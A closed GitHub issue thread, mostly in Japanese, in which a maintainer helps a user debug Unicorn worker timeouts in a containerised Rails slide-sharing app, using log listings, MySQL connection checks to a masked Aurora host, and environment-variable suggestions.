Closed Zaki-XL closed 6 years ago
@Zaki-XL すいません。production.log
かdevelopment.log
にはなにか出力がありますでしょうか?
root@65ee1f98a89d:/opt/application/current/log# ls -al
total 9840
drwxrwxr-x 2 root root 4096 Jun 1 19:13 .
drwxr-xr-x 15 root root 4096 Apr 25 00:01 ..
-rw-rw-r-- 1 root root 0 Nov 21 2016 .keep
-rw-r--r-- 1 root root 517548 Jun 4 16:30 batch_production.log
-rw-r--r-- 1 root root 1440822 Jun 4 16:30 production.log
-rw-r--r-- 1 root root 8089674 Jun 4 16:30 unicorn.log
productionログ
root@65ee1f98a89d:/opt/application/current/log# head -100 production.log
# Logfile created on 2018-04-25 00:01:50 +0900 by logger.rb/61378
D, [2018-06-01T19:13:19.038556 #12] DEBUG -- : (3.1ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:13:19.040810 #228] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:13:19.044815 #12] DEBUG -- : Setting Load (2.4ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:13:19.046655 #228] DEBUG -- : Setting Load (2.4ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:14:29.297354 #437] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:14:29.303729 #437] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:15:39.287765 #609] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:15:39.293872 #609] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:16:49.245319 #775] DEBUG -- : (2.6ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:16:49.251797 #775] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:17:59.301996 #941] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:17:59.308236 #941] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:19:09.247752 #1107] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:19:09.254164 #1107] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:20:19.298476 #1273] DEBUG -- : (3.4ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:20:19.304929 #1273] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:21:29.405117 #1439] DEBUG -- : (2.6ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:21:29.410991 #1439] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:22:39.369057 #1605] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:22:39.375148 #1605] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:23:49.353916 #1771] DEBUG -- : (3.3ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:23:49.360220 #1771] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:24:59.405350 #1943] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:24:59.411365 #1943] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:26:09.405596 #2109] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:26:09.411681 #2109] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:27:19.405305 #2275] DEBUG -- : (3.0ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:27:19.411634 #2275] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:28:29.354405 #2441] DEBUG -- : (3.2ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:28:29.360862 #2441] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:29:39.357108 #2607] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:29:39.363689 #2607] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:30:49.439455 #2773] DEBUG -- : (3.0ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:30:49.445599 #2773] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:31:59.459339 #2945] DEBUG -- : (3.3ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:31:59.465805 #2945] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:33:09.505310 #3176] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:33:09.511715 #3176] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:34:19.513139 #3342] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:34:19.519251 #3342] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:35:29.519780 #3514] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:35:29.526312 #3514] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:36:39.534536 #3680] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:36:39.540727 #3680] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:37:49.542971 #3846] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:37:49.549296 #3846] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:38:59.546637 #4012] DEBUG -- : (3.1ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:38:59.553257 #4012] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:40:09.624427 #4178] DEBUG -- : (3.4ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:40:09.630626 #4178] DEBUG -- : Setting Load (2.4ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:41:19.652797 #4344] DEBUG -- : (3.2ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:41:19.659402 #4344] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:42:29.671213 #4510] DEBUG -- : (3.1ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:42:29.677333 #4510] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:43:39.681603 #4676] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:43:39.687747 #4676] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:44:49.686370 #4848] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:44:49.692541 #4848] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:45:59.624494 #5014] DEBUG -- : (3.3ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:45:59.630961 #5014] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:47:09.624722 #5180] DEBUG -- : (3.3ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:47:09.631112 #5180] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:48:19.681949 #5346] DEBUG -- : (3.2ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:48:19.688506 #5346] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:49:29.681348 #5512] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:49:29.687361 #5512] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:50:39.648232 #5678] DEBUG -- : (3.0ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:50:39.654311 #5678] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:51:49.672154 #5844] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:51:49.678449 #5844] DEBUG -- : Setting Load (2.4ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:52:59.661617 #6010] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:52:59.668177 #6010] DEBUG -- : Setting Load (2.7ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:54:09.624502 #6176] DEBUG -- : (3.0ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:54:09.630740 #6176] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:55:19.734319 #6342] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:55:19.740819 #6342] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:56:29.758773 #6514] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:56:29.765182 #6514] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:57:39.730037 #6680] DEBUG -- : (2.6ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:57:39.736513 #6680] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:58:49.770978 #6846] DEBUG -- : (3.1ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:58:49.777531 #6846] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T19:59:59.798677 #7012] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T19:59:59.804772 #7012] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:01:09.825593 #7178] DEBUG -- : (3.0ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T20:01:09.832089 #7178] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:02:19.818228 #7344] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T20:02:19.824111 #7344] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:03:29.828989 #7510] DEBUG -- : (3.1ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T20:03:29.835491 #7510] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:04:39.891246 #7676] DEBUG -- : (31.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T20:04:39.897625 #7676] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:05:49.914205 #7848] DEBUG -- : (3.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T20:05:49.920587 #7848] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:06:59.909123 #8014] DEBUG -- : (3.0ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T20:06:59.915438 #8014] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:08:09.999460 #8180] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-01T20:08:10.005518 #8180] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-01T20:09:19.948767 #8346] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
tailもほぼ同じ内容です
セッションのデバッグ出力が多いので、他のログが出ているのかがちょっとわからない状況ですね
Unicornのワーカーがタイムアウトしていて、一方でproduction.logにはsettingsテーブルを見に行っているログが出ているので、例えばDBに対してリクエストを投げて応答が15秒以内に帰ってこないようだと当該の事象が起きそうです。 コンテナの中からDBに接続できているか確認いただけますか?
コンテナを動かしているEC2インスタンスからは接続できていますね
[root@ip-10-24-80-166 ~]# mysql -h slidehub.xxxxxxxxxxxxx.ap-northeast-1.rds.amazonaws.com -u slideadmin -p
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 52265
Server version: 5.7.12 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| slidehub |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> show tables from slidehub;
+----------------------+
| Tables_in_slidehub |
+----------------------+
| ar_internal_metadata |
| categories |
| comments |
| custom_files |
| featured_slides |
| pages |
| schema_migrations |
| sessions |
| settings |
| slides |
| taggings |
| tags |
| users |
+----------------------+
13 rows in set (0.01 sec)
コンテナ内からだとどうやって確認するのがいいのかな…
コンテナの中だと、apt-get でmysqlのクライアントをインストールする形ですね。コンテナを停止すれば無くなるので副作用はないと思います。お手数かけます
コピペしているので文字が切れておりますが、apt-getにてmysqlクライアントをインストールして確認させていただきました
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 52320
Server version: 5.7.12 MySQL Community Server (GPL)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| slidehub |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> show tables from slidehub;
+----------------------+
| Tables_in_slidehub |
+----------------------+
| ar_internal_metadata |
| categories |
| comments |
| custom_files |
| featured_slides |
| pages |
| schema_migrations |
| sessions |
| settings |
| slides |
| taggings |
| tags |
| users |
+----------------------+
13 rows in set (0.01 sec)
mysql> exit
Bye
root@65ee1f98a89d:/bin#
slideadminユーザーでアクセスできているようですね 接続先はAurora MySQL 5.7.12になります
@Zaki-XL
Could you please change RAILS_ENV variable from production to development, run the application, and paste unicorn.log and development.log here? Sorry for the bother...
@ryuzee Running RAILS_ENV=development development.log is not output.
root@3a462fb417fe:/opt/application/current# set | grep RAILS_ENV
RAILS_ENV=development
root@3a462fb417fe:/opt/application/current# head -100 /opt/application/current/log/unicorn.log
I, [2018-06-04T18:28:19.804986 #12] INFO -- : Refreshing Gem list
I, [2018-06-04T18:28:28.111081 #12] INFO -- : listening on addr=0.0.0.0:3000 fd=12
I, [2018-06-04T18:28:28.111224 #12] INFO -- : listening on addr=/tmp/unicorn.sock fd=13
I, [2018-06-04T18:28:28.115930 #304] INFO -- : worker=0 ready
I, [2018-06-04T18:28:28.117572 #307] INFO -- : worker=1 ready
I, [2018-06-04T18:28:28.119163 #12] INFO -- : master process ready
I, [2018-06-04T18:28:28.120269 #310] INFO -- : worker=2 ready
root@3a462fb417fe:/opt/application/current# set | grep RAILS_ENV
RAILS_ENV=development
root@3a462fb417fe:/opt/application/current# ls -al /opt/application/current/log/
total 20
drwxrwxr-x 2 root root 4096 Jun 4 18:28 .
drwxr-xr-x 15 root root 4096 Apr 25 00:01 ..
-rw-rw-r-- 1 root root 0 Nov 21 2016 .keep
-rw-r--r-- 1 root root 615 Jun 4 18:32 batch_production.log
-rw-r--r-- 1 root root 2064 Jun 4 18:31 production.log
-rw-r--r-- 1 root root 497 Jun 4 18:28 unicorn.log
root@3a462fb417fe:/opt/application/current# head -100 /opt/application/current/log/production.log
# Logfile created on 2018-04-25 00:01:50 +0900 by logger.rb/61378
D, [2018-06-04T18:28:26.083383 #228] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-04T18:28:26.091058 #228] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-04T18:28:28.019125 #12] DEBUG -- : (2.9ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-04T18:28:28.025569 #12] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-04T18:29:36.262129 #419] DEBUG -- : (2.7ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-04T18:29:36.268455 #419] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-04T18:30:46.296518 #622] DEBUG -- : (3.3ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-04T18:30:46.303030 #622] DEBUG -- : Setting Load (2.6ms) SELECT `settings`.* FROM `settings`
D, [2018-06-04T18:31:56.300201 #769] DEBUG -- : (3.0ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-04T18:31:56.306342 #769] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
D, [2018-06-04T18:33:06.326661 #917] DEBUG -- : (3.4ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-04T18:33:06.332938 #917] DEBUG --
my environment RAILS_ENV is overwrited(add)
@Zaki-XL
こちらでDBをDropして初期化し、再度DBを作成して起動してみましたがうまく行きました(migrationとseedを疑っていたのですが)。
で、先程お伝えした、RAILS_ENV=development に設定した際、DBの指定が変わります。 お手数ですが、以下の環境変数も設定していただけますか?
OSS_DB_NAME_DEV => 適当な値(例えばslidehub-dev)
OSS_DB_USERNAME_DEV => OSS_DB_USERNAMEの値と同じ
